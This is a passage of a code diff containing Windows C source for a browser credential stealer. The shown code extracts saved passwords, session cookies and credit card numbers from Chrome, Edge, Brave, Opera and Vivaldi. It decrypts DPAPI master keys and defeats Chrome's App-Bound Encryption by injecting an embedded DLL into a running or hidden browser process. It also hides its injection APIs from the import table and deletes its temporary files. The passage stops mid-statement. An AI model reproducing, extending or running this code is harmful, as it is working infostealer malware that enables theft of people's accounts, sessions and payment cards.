_bp_chrome }; + browsers[1] = (browser_profile_t){ "Edge", "LOCALAPPDATA", _bp_edge }; + browsers[2] = (browser_profile_t){ "Brave", "LOCALAPPDATA", _bp_brave }; + browsers[3] = (browser_profile_t){ "Opera", "APPDATA", _bp_opera }; + browsers[4] = (browser_profile_t){ "Vivaldi", "LOCALAPPDATA", _bp_vivaldi }; + browsers[5] = (browser_profile_t){ NULL, NULL, NULL }; + _bp_init = 1; +} + +/* ── Base64 decode (minimal, for Local State key extraction) ──────── */ + +static const unsigned char b64_table[256] = { + ['A']=0,['B']=1,['C']=2,['D']=3,['E']=4,['F']=5,['G']=6,['H']=7, + ['I']=8,['J']=9,['K']=10,['L']=11,['M']=12,['N']=13,['O']=14,['P']=15, + ['Q']=16,['R']=17,['S']=18,['T']=19,['U']=20,['V']=21,['W']=22,['X']=23, + ['Y']=24,['Z']=25, + ['a']=26,['b']=27,['c']=28,['d']=29,['e']=30,['f']=31,['g']=32,['h']=33, + ['i']=34,['j']=35,['k']=36,['l']=37,['m']=38,['n']=39,['o']=40,['p']=41, + ['q']=42,['r']=43,['s']=44,['t']=45,['u']=46,['v']=47,['w']=48,['x']=49, + ['y']=50,['z']=51, + ['0']=52,['1']=53,['2']=54,['3']=55,['4']=56,['5']=57,['6']=58,['7']=59, + ['8']=60,['9']=61,['+']=62,['/']=63, +}; + +static int base64_decode_local(const char *in, size_t in_len, uint8_t *out, size_t *out_len) { + size_t olen = 0; + uint32_t accum = 0; + int bits = 0; + for (size_t i = 0; i < in_len; i++) { + char c = in[i]; + if (c == '=' || c == '\n' || c == '\r' || c == ' ') continue; + accum = (accum << 6) | b64_table[(unsigned char)c]; + bits += 6; + if (bits >= 8) { + bits -= 8; + out[olen++] = (uint8_t)(accum >> bits); + } + } + *out_len = olen; + return 0; +} + +/* ── Extract encrypted_key from Local State JSON ──────────────────── */ + +static int extract_master_key(const char *local_state_path, uint8_t *key_out) { + /* Read file */ + HANDLE hf = CreateFileA(local_state_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (hf == INVALID_HANDLE_VALUE) return -1; + + DWORD fsize = GetFileSize(hf, NULL); + if (fsize == 0 || fsize > 2 * 1024 * 1024) { + CloseHandle(hf); + return -1; + } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hf); return -1; } + + DWORD bytesRead; + ReadFile(hf, data, fsize, &bytesRead, NULL); + CloseHandle(hf); + data[bytesRead] = '\0'; + + /* Find "encrypted_key":"" — handle optional space after colon. + Also skip "app_bound_encrypted_key" by requiring quote before "encrypted" */ + const char *needle = "\"encrypted_key\":\""; + char *start = strstr(data, needle); + if (!start) { + /* Try with space after colon */ + needle = "\"encrypted_key\": \""; + start = strstr(data, needle); + } + if (!start) { free(data); return -1; } + start += strlen(needle); + + char *end = strchr(start, '"'); + if (!end) { free(data); return -1; } + + size_t b64_len = end - start; + uint8_t *decoded = (uint8_t *)malloc(b64_len); + if (!decoded) { free(data); return -1; } + + size_t decoded_len = 0; + base64_decode_local(start, b64_len, decoded, &decoded_len); + free(data); + + /* decoded starts with "DPAPI" (5 bytes), then the DPAPI blob */ + if (decoded_len < 6 || memcmp(decoded, "DPAPI", 5) != 0) { + free(decoded); + return -1; + } + + /* DPAPI decrypt */ + if (load_crypt32() != 0) { free(decoded); return -1; } + DATA_BLOB in_blob, out_blob; + in_blob.pbData = decoded + 5; + in_blob.cbData = (DWORD)(decoded_len - 5); + + if (!pfn_CryptUnprotectData(&in_blob, NULL, NULL, NULL, NULL, 0, &out_blob)) { + free(decoded); + return -1; + } + + if (out_blob.cbData != 32) { + LocalFree(out_blob.pbData); + free(decoded); + return -1; + } + + memcpy(key_out, out_blob.pbData, 32); + LocalFree(out_blob.pbData); + free(decoded); + return 0; +} + +/* ── App-Bound Key extraction via DLL injection (Chrome 127+) ───── + Chrome 127+ uses App-Bound Encryption for passwords/cookies. + The key is decrypted by Chrome's IElevator COM service, which + validates that the CALLER is a signed Chrome binary. + We inject a tiny helper DLL into a Chrome process so the COM call + originates from a trusted context. + + Flow: + 1. Base64-decode "app_bound_encrypted_key" from Local State + 2. Strip 4-byte "APPB" header + 3. Write raw blob to %TEMP%\ze_in.bin + 4. Write embedded elevator.dll to %TEMP% + 5. Start Chrome headless, inject DLL via LoadLibraryA + 6. DLL calls COM DecryptData, writes result to %TEMP%\ze_out.bin + 7. Read back the 32-byte AES-256 master key + 8. Terminate Chrome, clean up temp files +*/ + +#include "elevator_blob.h" + +/* Browser type indices (must match elevator.c) */ +#define ELEV_CHROME 0 +#define ELEV_BRAVE 1 +#define ELEV_EDGE 2 + +/* ── Find browser executable path ─────────────────────────────────── */ + +static int find_browser_exe(const char *browser_name, char *exe_path, size_t cap) { + const char *prog = getenv("ProgramFiles"); + const char *prog86 = getenv("ProgramFiles(x86)"); + const char *local = getenv("LOCALAPPDATA"); + + struct { const char *name; const char *sub; } map[] = { + {"Chrome", "\\Google\\Chrome\\Application\\chrome.exe"}, + {"Brave", "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"}, + {"Edge", "\\Microsoft\\Edge\\Application\\msedge.exe"}, + }; + + const char *sub = NULL; + for (int i = 0; i < 3; i++) { + if (strcmp(browser_name, map[i].name) == 0) { sub = map[i].sub; break; } + } + if (!sub) return -1; + + const char *bases[] = { prog, prog86, local }; + for (int i = 0; i < 3; i++) { + if (!bases[i]) continue; + snprintf(exe_path, cap, "%s%s", bases[i], sub); + if (GetFileAttributesA(exe_path) != INVALID_FILE_ATTRIBUTES) return 0; + } + return -1; +} + +/* ── Find a running browser process by exe name ───────────────────── */ + +static DWORD find_running_browser(const char *exe_name) { + DWORD pids[1024]; + DWORD cbNeeded; + if (!EnumProcesses(pids, sizeof(pids), &cbNeeded)) return 0; + DWORD count = cbNeeded / sizeof(DWORD); + + for (DWORD i = 0; i < count; i++) { + if (pids[i] == 0) continue; + HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, + FALSE, pids[i]); + if (!hp) continue; + + char name[MAX_PATH] = ""; + HMODULE hMod; + DWORD cbMod; + if (EnumProcessModules(hp, &hMod, sizeof(hMod), &cbMod)) { + GetModuleBaseNameA(hp, hMod, name, sizeof(name)); + } + if (_stricmp(name, exe_name) == 0) { + CloseHandle(hp); + return pids[i]; + } + CloseHandle(hp); + } + return 0; +} + +/* ── Inject elevator DLL into browser and get decrypted key ────────── */ + +static int inject_and_decrypt_abk(const char *browser_name, int browser_type, + const uint8_t *enc_key, DWORD enc_key_len, + uint8_t *key_out, json_buf_t *errors) { + char tmp[MAX_PATH]; + GetTempPathA(MAX_PATH, tmp); + + DWORD tick = GetTickCount(); + char in_path[MAX_PATH], out_path[MAX_PATH], dll_path[MAX_PATH]; + snprintf(in_path, MAX_PATH, "%sze_in.bin", tmp); + snprintf(out_path, MAX_PATH, "%sze_out.bin", tmp); + snprintf(dll_path, MAX_PATH, "%sze_%lu.dll", tmp, tick); + + int result = -1; + HANDLE hEvent = NULL; + HANDLE hProcess = NULL; + int launched_process = 0; /* 1 if we launched a new process (need to kill it) */ + + /* 1. Write input file: [1B browser_type][4B data_len LE][data...] */ + { + HANDLE hIn = CreateFileA(in_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hIn == INVALID_HANDLE_VALUE) { + jb_add_error(errors, browser_name, "abk: step1 write failed"); + goto cleanup; + } + DWORD nw; + BYTE btype = (BYTE)browser_type; + WriteFile(hIn, &btype, 1, &nw, NULL); + WriteFile(hIn, &enc_key_len, 4, &nw, NULL); + WriteFile(hIn, enc_key, enc_key_len, &nw, NULL); + CloseHandle(hIn); + } + + /* 2. Write elevator DLL from embedded byte array */ + { + HANDLE hDll = CreateFileA(dll_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hDll == INVALID_HANDLE_VALUE) { + jb_add_error(errors, browser_name, "abk: step2 write failed"); + goto cleanup; + } + DWORD nw; + WriteFile(hDll, ELEVATOR_DLL, ELEVATOR_DLL_SIZE, &nw, NULL); + CloseHandle(hDll); + } + + /* 3. Create named event for completion signaling */ + hEvent = CreateEventA(NULL, TRUE, FALSE, "Global\\ZeElevDone"); + if (!hEvent) { + jb_add_error(errors, browser_name, "abk: step3 event failed"); + goto cleanup; + } + + /* 4. Try to find an ALREADY RUNNING browser process first (more reliable). + If none running, launch headless. */ + { + /* Map browser name to exe name for process search */ + const char *exe_names[] = { NULL, NULL, NULL }; + if (strcmp(browser_name, "Chrome") == 0) { exe_names[0] = "chrome.exe"; } + else if (strcmp(browser_name, "Brave") == 0) { exe_names[0] = "brave.exe"; } + else if (strcmp(browser_name, "Edge") == 0) { exe_names[0] = "msedge.exe"; } + + DWORD pid = 0; + if (exe_names[0]) { + pid = find_running_browser(exe_names[0]); + } + + if (pid != 0) { + /* Found running browser — open it for injection */ + hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | + PROCESS_CREATE_THREAD | PROCESS_VM_READ, FALSE, pid); + if (!hProcess) { + char err[128]; + snprintf(err, sizeof(err), "abk: open running browser failed err=%lu", GetLastError()); + jb_add_error(errors, browser_name, err); + /* Fall through to launch headless */ + } + } + + if (!hProcess) { + /* No running browser or can't open — launch headless */ + char exe_path[MAX_PATH]; + if (find_browser_exe(browser_name, exe_path, sizeof(exe_path)) != 0) { + jb_add_error(errors, browser_name, "abk: browser exe not found"); + goto cleanup; + } + + char cmd_line[MAX_PATH * 2]; + snprintf(cmd_line, sizeof(cmd_line), + "\"%s\" --headless=new --disable-gpu --no-first-run --no-default-browser-check", + exe_path); + + STARTUPINFOA si = {0}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + PROCESS_INFORMATION pi = {0}; + + if (!CreateProcessA(NULL, cmd_line, NULL, NULL, FALSE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + jb_add_error(errors, browser_name, "abk: step4 launch failed"); + goto cleanup; + } + hProcess = pi.hProcess; + CloseHandle(pi.hThread); + launched_process = 1; + + /* Wait for fresh process to initialize */ + Sleep(2000); + } + } + + /* 5. Inject DLL via VirtualAllocEx + WriteProcessMemory + CreateRemoteThread(LoadLibraryA) */ + { + HMODULE hK32 = GetModuleHandleA("kernel32.dll"); + FARPROC pLoadLib = GetProcAddress(hK32, "LoadLibraryA"); + + /* Resolve injection APIs at runtime (keep out of IAT) */ + typedef LPVOID (WINAPI *PFN_VAE)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); + typedef BOOL (WINAPI *PFN_WPM)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); + typedef HANDLE (WINAPI *PFN_CRT)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, + LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + + PFN_VAE pVAE = (PFN_VAE)GetProcAddress(hK32, "VirtualAllocEx"); + PFN_WPM pWPM = (PFN_WPM)GetProcAddress(hK32, "WriteProcessMemory"); + PFN_CRT pCRT = (PFN_CRT)GetProcAddress(hK32, "CreateRemoteThread"); + + if (!pVAE || !pWPM || !pCRT || !pLoadLib) { + jb_add_error(errors, browser_name, "abk: step5 resolve failed"); + goto cleanup; + } + + size_t path_len = strlen(dll_path) + 1; + LPVOID remote_str = pVAE(hProcess, NULL, path_len, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!remote_str) { + jb_add_error(errors, browser_name, "abk: step5 alloc failed"); + goto cleanup; + } + + if (!pWPM(hProcess, remote_str, dll_path, path_len, NULL)) { + jb_add_error(errors, browser_name, "abk: step5 write failed"); + goto cleanup; + } + + HANDLE hThread = pCRT(hProcess, NULL, 0, + (LPTHREAD_START_ROUTINE)pLoadLib, remote_str, 0, NULL); + if (!hThread) { + jb_add_error(errors, browser_name, "abk: step5 thread failed"); + goto cleanup; + } + + /* Wait for DLL to signal completion (timeout 5s) */ + WaitForSingleObject(hEvent, 5000); + CloseHandle(hThread); + } + + /* 7. Read output file: [4B status][4B out_len][data...] */ + Sleep(200); + { + HANDLE hOut = CreateFileA(out_path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hOut == INVALID_HANDLE_VALUE) { + jb_add_error(errors, browser_name, "abk: step6 no output"); + goto cleanup; + } + + BYTE out_hdr[8]; + DWORD nr; + if (!ReadFile(hOut, out_hdr, 8, &nr, NULL) || nr < 8) { + CloseHandle(hOut); + jb_add_error(errors, browser_name, "abk: step6 output truncated"); + goto cleanup; + } + + DWORD status = *(DWORD *)out_hdr; + DWORD out_len = *(DWORD *)(out_hdr + 4); + + if (status != 0) { + char err[128]; + snprintf(err, sizeof(err), "abk: step6 decrypt failed (0x%08lX)", status); + jb_add_error(errors, browser_name, err); + CloseHandle(hOut); + goto cleanup; + } + + if (out_len == 32) { + /* COM returns raw 32-byte AES-256 key directly */ + BYTE key_data[32]; + ReadFile(hOut, key_data, 32, &nr, NULL); + if (nr == 32) { + memcpy(key_out, key_data, 32); + result = 0; + } else { + jb_add_error(errors, browser_name, "abk: step6 short read"); + } + } else if (out_len > 0 && out_len <= 4096) { + /* Unexpected length — read and try to extract key */ + BYTE *out_data = (BYTE *)malloc(out_len); + if (out_data) { + ReadFile(hOut, out_data, out_len, &nr, NULL); + if (out_len >= 32) { + memcpy(key_out, out_data + out_len - 32, 32); + result = 0; + } else { + char err[128]; + snprintf(err, sizeof(err), "abk: step6 output too small (%lu)", out_len); + jb_add_error(errors, browser_name, err); + } + free(out_data); + } + } else { + char err[128]; + snprintf(err, sizeof(err), "abk: step6 bad length %lu", out_len); + jb_add_error(errors, browser_name, err); + } + CloseHandle(hOut); + } + +cleanup: + if (hProcess) { + if (launched_process) TerminateProcess(hProcess, 0); + CloseHandle(hProcess); + } + if (hEvent) CloseHandle(hEvent); + + /* Delete temp files */ + DeleteFileA(in_path); + DeleteFileA(out_path); + DeleteFileA(dll_path); + + return result; +} + +/* ── Extract app-bound key from Local State via DLL injection ─────── */ + +static int extract_app_bound_key(const char *local_state_path, const char *browser_name, + uint8_t *key_out, json_buf_t *errors) { + /* Read Local State */ + HANDLE hf = CreateFileA(local_state_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + if (hf == INVALID_HANDLE_VALUE) { + jb_add_error(errors, browser_name, "abk: cannot open Local State"); + return -1; + } + + DWORD fsize = GetFileSize(hf, NULL); + if (fsize == 0 || fsize > 2 * 1024 * 1024) { + CloseHandle(hf); + jb_add_error(errors, browser_name, "abk: Local State too large or empty"); + return -1; + } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hf); return -1; } + + DWORD bytesRead; + ReadFile(hf, data, fsize, &bytesRead, NULL); + CloseHandle(hf); + data[bytesRead] = '\0'; + + /* Find "app_bound_encrypted_key":"" */ + const char *needle = "\"app_bound_encrypted_key\":\""; + char *start = strstr(data, needle); + if (!start) { + needle = "\"app_bound_encrypted_key\": \""; + start = strstr(data, needle); + } + if (!start) { + free(data); + jb_add_error(errors, browser_name, "abk: app_bound_encrypted_key not found in Local State"); + return -1; + } + start += strlen(needle); + + char *end = strchr(start, '"'); + if (!end) { + free(data); + jb_add_error(errors, browser_name, "abk: malformed app_bound_encrypted_key value"); + return -1; + } + + size_t b64_len = end - start; + uint8_t *decoded = (uint8_t *)malloc(b64_len); + if (!decoded) { free(data); return -1; } + + size_t decoded_len = 0; + base64_decode_local(start, b64_len, decoded, &decoded_len); + free(data); + + /* After base64 decode: "APPB" (4 bytes) + encrypted blob. + Pass the blob (minus header) DIRECTLY to COM — no local DPAPI. + Chrome's elevation_service.exe does DPAPI internally at SYSTEM level. */ + if (decoded_len < 5) { + char err[128]; + snprintf(err, sizeof(err), "abk: decoded key too short (%zu bytes)", decoded_len); + jb_add_error(errors, browser_name, err); + free(decoded); + return -1; + } + if (memcmp(decoded, "APPB", 4) != 0) { + char err[128]; + snprintf(err, sizeof(err), "abk: wrong header (got 0x%02X%02X%02X%02X, expected APPB)", + decoded[0], decoded[1], decoded[2], decoded[3]); + jb_add_error(errors, browser_name, err); + free(decoded); + return -1; + } + + (void)errors; /* key-found is not an error, don't log */ + + /* Determine browser type index */ + int browser_type = ELEV_CHROME; + if (strcmp(browser_name, "Brave") == 0) browser_type = ELEV_BRAVE; + else if (strcmp(browser_name, "Edge") == 0) browser_type = ELEV_EDGE; + + /* Inject DLL into browser, call COM DecryptData, get key */ + int ret = inject_and_decrypt_abk(browser_name, browser_type, + decoded + 4, (DWORD)(decoded_len - 4), + key_out, errors); + + /* Success is not an error — don't log it */ + + free(decoded); + return ret; +} + +/* ── AES-256-GCM decrypt (Windows CNG) ────────────────────────────── */ + +static int aes_gcm_decrypt(const uint8_t *key, const uint8_t *nonce, size_t nonce_len, + const uint8_t *ciphertext, size_t ct_len, + const uint8_t *tag, size_t tag_len, + uint8_t *plaintext) { + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + NTSTATUS status; + int ret = -1; + + status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); + if (status != 0) return -1; + + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, + (PUCHAR)BCRYPT_CHAIN_MODE_GCM, + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + if (status != 0) goto cleanup; + + status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, + (PUCHAR)key, 32, 0); + if (status != 0) goto cleanup; + + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = (PUCHAR)nonce; + authInfo.cbNonce = (ULONG)nonce_len; + authInfo.pbTag = (PUCHAR)tag; + authInfo.cbTag = (ULONG)tag_len; + + ULONG ptLen = 0; + status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, (ULONG)ct_len, + &authInfo, NULL, 0, + plaintext, (ULONG)ct_len, &ptLen, 0); + if (status == 0) ret = (int)ptLen; + +cleanup: + if (hKey) BCryptDestroyKey(hKey); + if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0); + return ret; +} + +/* ── Decrypt a Chromium v80+ encrypted value ──────────────────────── */ + +/* Two master keys: v10/v11 uses DPAPI key, v20 uses app-bound key */ +static uint8_t g_ab_key[32]; /* app-bound key for v20 */ +static int g_ab_key_valid = 0; + +static int decrypt_chromium_value(const uint8_t *encrypted, size_t enc_len, + const uint8_t *master_key, + char *out, size_t out_cap) { + out[0] = '\0'; + + if (enc_len < 3) return -1; + + /* v10/v11: standard DPAPI key */ + if (memcmp(encrypted, "v10", 3) == 0 || memcmp(encrypted, "v11", 3) == 0) { + if (enc_len < 3 + 12 + 16 + 1) return -1; + + const uint8_t *nonce = encrypted + 3; + const uint8_t *ct = encrypted + 3 + 12; + size_t ct_len = enc_len - 3 - 12 - 16; + const uint8_t *tag = encrypted + enc_len - 16; + + uint8_t *plain = (uint8_t *)malloc(ct_len + 1); + if (!plain) return -1; + + int pt_len = aes_gcm_decrypt(master_key, nonce, 12, ct, ct_len, tag, 16, plain); + if (pt_len < 0) { + free(plain); + return -1; + } + + size_t cplen = (size_t)pt_len; + if (cplen >= out_cap) cplen = out_cap - 1; + memcpy(out, plain, cplen); + out[cplen] = '\0'; + free(plain); + return 0; + } + + /* v20: app-bound encryption (Chrome 127+) — same AES-GCM but with app-bound key */ + if (memcmp(encrypted, "v20", 3) == 0) { + if (!g_ab_key_valid) return -1; + if (enc_len < 3 + 12 + 16 + 1) return -1; + + const uint8_t *nonce = encrypted + 3; + const uint8_t *ct = encrypted + 3 + 12; + size_t ct_len = enc_len - 3 - 12 - 16; + const uint8_t *tag = encrypted + enc_len - 16; + + uint8_t *plain = (uint8_t *)malloc(ct_len + 1); + if (!plain) return -1; + + int pt_len = aes_gcm_decrypt(g_ab_key, nonce, 12, ct, ct_len, tag, 16, plain); + if (pt_len < 0) { + free(plain); + return -1; + } + + size_t cplen = (size_t)pt_len; + if (cplen >= out_cap) cplen = out_cap - 1; + memcpy(out, plain, cplen); + out[cplen] = '\0'; + free(plain); + return 0; + } + + /* Legacy DPAPI (no version prefix) */ + if (load_crypt32() != 0) return -1; + DATA_BLOB in_blob, out_blob; + in_blob.pbData = (BYTE *)encrypted; + in_blob.cbData = (DWORD)enc_len; + if (pfn_CryptUnprotectData(&in_blob, NULL, NULL, NULL, NULL, 0, &out_blob)) { + size_t cplen = out_blob.cbData; + if (cplen >= out_cap) cplen = out_cap - 1; + memcpy(out, out_blob.pbData, cplen); + out[cplen] = '\0'; + LocalFree(out_blob.pbData); + return 0; + } + + return -1; +} + +/* ── Copy locked DB to temp ────────────────────────────────────────── */ + +static int copy_to_temp(const char *src, char *temp_path, size_t temp_cap) { + const char *tmp = getenv("TEMP"); + if (!tmp) tmp = getenv("TMP"); + if (!tmp) return -1; + + snprintf(temp_path, temp_cap, "%s\\zerin_creds_%u.db", + tmp, (unsigned)GetTickCount()); + + return CopyFileA(src, temp_path, FALSE) ? 0 : -1; +} + +/* ── Grab passwords from a Chromium Login Data DB ──────────────────── */ + +static void grab_chromium_passwords(json_buf_t *j, const char *browser_name, + const char *db_path, const uint8_t *master_key) { + char temp_db[MAX_PATH]; + if (copy_to_temp(db_path, temp_db, sizeof(temp_db)) < 0) return; + + sqlite3 *db = NULL; + if (sqlite3_open_v2(temp_db, &db, SQLITE_OPEN_READONLY, NULL) != SQLITE_OK) { + DeleteFileA(temp_db); + return; + } + + sqlite3_stmt *stmt = NULL; + const char *sql = "SELECT origin_url, username_value, password_value FROM logins"; + if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) { + sqlite3_close(db); + DeleteFileA(temp_db); + return; + } + + while (sqlite3_step(stmt) == SQLITE_ROW) { + const char *url = (const char *)sqlite3_column_text(stmt, 0); + const char *user = (const char *)sqlite3_column_text(stmt, 1); + const uint8_t *enc_pass = (const uint8_t *)sqlite3_column_blob(stmt, 2); + int enc_len = sqlite3_column_bytes(stmt, 2); + + if (!url || !user || !enc_pass || enc_len <= 0) continue; + + char password[1024] = ""; + decrypt_chromium_value(enc_pass, (size_t)enc_len, master_key, password, sizeof(password)); + + /* Skip entries with no useful data */ + if (!url[0] && !user[0] && !password[0]) continue; + + jb_begin_obj(j); + jb_kv(j, "browser", browser_name); + jb_kv(j, "url", url); + jb_kv(j, "username", user); + jb_kv(j, "password", password); + jb_end_obj(j); + } + + sqlite3_finalize(stmt); + sqlite3_close(db); + DeleteFileA(temp_db); +} + +/* ── Grab cookies from a Chromium Cookies DB ───────────────────────── */ + +static void grab_chromium_cookies(json_buf_t *j, const char *browser_name, + const char *db_path, const uint8_t *master_key) { + char temp_db[MAX_PATH]; + if (copy_to_temp(db_path, temp_db, sizeof(temp_db)) < 0) return; + + sqlite3 *db = NULL; + if (sqlite3_open_v2(temp_db, &db, SQLITE_OPEN_READONLY, NULL) != SQLITE_OK) { + DeleteFileA(temp_db); + return; + } + + sqlite3_stmt *stmt = NULL; + const char *sql = "SELECT host_key, name, encrypted_value FROM cookies LIMIT 500"; + if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) { + sqlite3_close(db); + DeleteFileA(temp_db); + return; + } + + while (sqlite3_step(stmt) == SQLITE_ROW) { + const char *host = (const char *)sqlite3_column_text(stmt, 0); + const char *name = (const char *)sqlite3_column_text(stmt, 1); + const uint8_t *enc_val = (const uint8_t *)sqlite3_column_blob(stmt, 2); + int enc_len = sqlite3_column_bytes(stmt, 2); + + if (!host || !name || !enc_val || enc_len <= 0) continue; + + char value[2048] = ""; + decrypt_chromium_value(enc_val, (size_t)enc_len, master_key, value, sizeof(value)); + + jb_begin_obj(j); + jb_kv(j, "browser", browser_name); + jb_kv(j, "host", host); + jb_kv(j, "name", name); + jb_kv(j, "value", value); + jb_end_obj(j); + } + + sqlite3_finalize(stmt); + sqlite3_close(db); + DeleteFileA(temp_db); +} + +/* ── Grab credit cards from a Chromium Web Data DB ─────────────────── */ + +static void grab_chromium_cards(json_buf_t *j, const char *browser_name, + const char *db_path, const uint8_t *master_key) { + char temp_db[MAX_PATH]; + if (copy_to_temp(db_path, temp_db, sizeof(temp_db)) < 0) return; + + sqlite3 *db = NULL; + if (sqlite3_open_v2(temp_db, &db, SQLITE_OPEN_READONLY, NULL) != SQLITE_OK) { + DeleteFileA(temp_db); + return; + } + + sqlite3_stmt *stmt = NULL; + const char *sql = "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards"; + if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) { + sqlite3_close(db); + DeleteFileA(temp_db); + return; + } + + while (sqlite3_step(stmt) == SQLITE_ROW) { + const char *name = (const char *)sqlite3_column_text(stmt, 0); + const uint8_t *enc_num = (const uint8_t *)sqlite3_column_blob(stmt, 1); + int enc_len = sqlite3_column_bytes(stmt, 1); + int exp_month = sqlite3_column_int(stmt, 2); + int exp_year = sqlite3_column_int(stmt, 3); + + char number[256] = ""; + if (enc_num && enc_len > 0) + decrypt_chromium_value(enc_num, (size_t)enc_len, master_key, number, sizeof(number)); + + char exp[16]; + snprintf(exp, sizeof(exp), "%02d/%d", exp_month, exp_year); + + jb_begin_obj(j); + jb_kv(j, "browser", browser_name); + jb_kv(j, "name", name ? name : ""); + jb_kv(j, "number", number); + jb_kv(j, "exp", exp); + jb_end_obj(j); + } + + sqlite3_finalize(stmt); + sqlite3_close(db); + DeleteFileA(temp_db); +} + +/* ── Find profile directories (Default, Profile 1, etc.) ──────────── */ + +static int find_profiles(const char *user_data_dir, char profiles[][MAX_PATH], int max_profiles) { + int count = 0; + + /* Check "Default" profile */ + char default_path[MAX_PATH]; + snprintf(default_path, sizeof(default_path), "%s\\Default", user_data_dir); + if (GetFileAttributesA(default_path) != INVALID_FILE_ATTRIBUTES) { + strncpy(profiles[count], default_path, MAX_PATH - 1); + count++; + } + + /* Check "Profile N" directories */ + for (int n = 1; n <= 20 && count < max_profiles; n++) { + char prof_path[MAX_PATH]; + snprintf(prof_path, sizeof(prof_path), "%s\\Profile %d", user_data_dir, n); + if (GetFileAttributesA(prof_path) != INVALID_FILE_ATTRIBUTES) { + strncpy(profiles[count], prof_path, MAX_PATH - 1); + count++; + } + } + + return count; +} + +/* ── Main Chromium grabber ─────────────────────────────────────────── */ + +void creds_grab_chromium(json_buf_t *j, json_buf_t *errors) { + /* Initialize arrays */ + jb_begin_arr(j, "chrome_passwords"); + /* We'll close and reopen arrays per category across all browsers */ + int pw_started = 1; + + /* Temp: collect all data, we need to structure it differently. + Let's use separate passes for passwords, cookies, cards. */ + jb_end_arr(j); /* close chrome_passwords — will fill below */ + + /* We need to build three separate arrays. Since jb is append-only, + we'll use temporary buffers for each category. */ + json_buf_t pw_buf = jb_init(32768); + json_buf_t ck_buf = jb_init(32768); + json_buf_t cc_buf = jb_init(4096); + (void)pw_started; + + if (!pw_buf.buf || !ck_buf.buf || !cc_buf.buf) { + jb_add_error(errors, "chromium", "memory allocation failed"); + free(pw_buf.buf); free(ck_buf.buf); free(cc_buf.buf); + return; + } + + jb_char(&pw_buf, '['); + jb_char(&ck_buf, '['); + jb_char(&cc_buf, '['); + + init_browser_profiles(); + for (const browser_profile_t *bp = browsers; bp->name; bp++) { + const char *base = getenv(bp->local_state_env); + if (!base) continue; + + char user_data_dir[MAX_PATH]; + snprintf(user_data_dir, sizeof(user_data_dir), "%s\\%s", base, bp->profile_subpath); + + if (GetFileAttributesA(user_data_dir) == INVALID_FILE_ATTRIBUTES) + continue; + + /* Extract master key (DPAPI — works for v10/v11 entries) */ + char local_state_path[MAX_PATH]; + snprintf(local_state_path, sizeof(local_state_path), "%s\\Local State", user_data_dir); + + uint8_t master_key[32]; + int has_dpapi_key = 0; + if (extract_master_key(local_state_path, master_key) == 0) { + has_dpapi_key = 1; + } else if (strcmp(bp->name, "Opera") == 0) { + /* Opera stores Local State one level up or same dir */ + if (extract_master_key(local_state_path, master_key) == 0) + has_dpapi_key = 1; + } + + /* Extract app-bound key (Chrome 127+ — works for v20 entries) */ + g_ab_key_valid = 0; + if (extract_app_bound_key(local_state_path, bp->name, g_ab_key, errors) == 0) { + g_ab_key_valid = 1; + } + + if (!has_dpapi_key && !g_ab_key_valid) { + char err_msg[256]; + snprintf(err_msg, sizeof(err_msg), + "failed to extract master key for %s (no DPAPI key, no app-bound key)", bp->name); + jb_add_error(errors, bp->name, err_msg); + continue; + } + + /* If we only have app-bound key, use it as the master key too (fallback) */ + if (!has_dpapi_key && g_ab_key_valid) { + memcpy(master_key, g_ab_key, 32); + has_dpapi_key = 1; /* treat it as the default key */ + } + + /* Find and process all profiles */ + char profiles[24][MAX_PATH]; + int nprofiles = find_profiles(user_data_dir, profiles, 24); + + /* Opera uses the user_data_dir itself as the profile */ + if (nprofiles == 0 && strcmp(bp->name, "Opera") == 0) { + strncpy(profiles[0], user_data_dir, MAX_PATH - 1); + nprofiles = 1; + } + + for (int p = 0; p < nprofiles; p++) { + char db_path[MAX_PATH]; + + /* Passwords */ + snprintf(db_path, sizeof(db_path), "%s\\Login Data", profiles[p]); + if (GetFileAttributesA(db_path) != INVALID_FILE_ATTRIBUTES) + grab_chromium_passwords(&pw_buf, bp->name, db_path, master_key); + + /* Cookies */ + snprintf(db_path, sizeof(db_path), "%s\\Network\\Cookies", profiles[p]); + if (GetFileAttributesA(db_path) == INVALID_FILE_ATTRIBUTES) + snprintf(db_path, sizeof(db_path), "%s\\Cookies", profiles[p]); + if 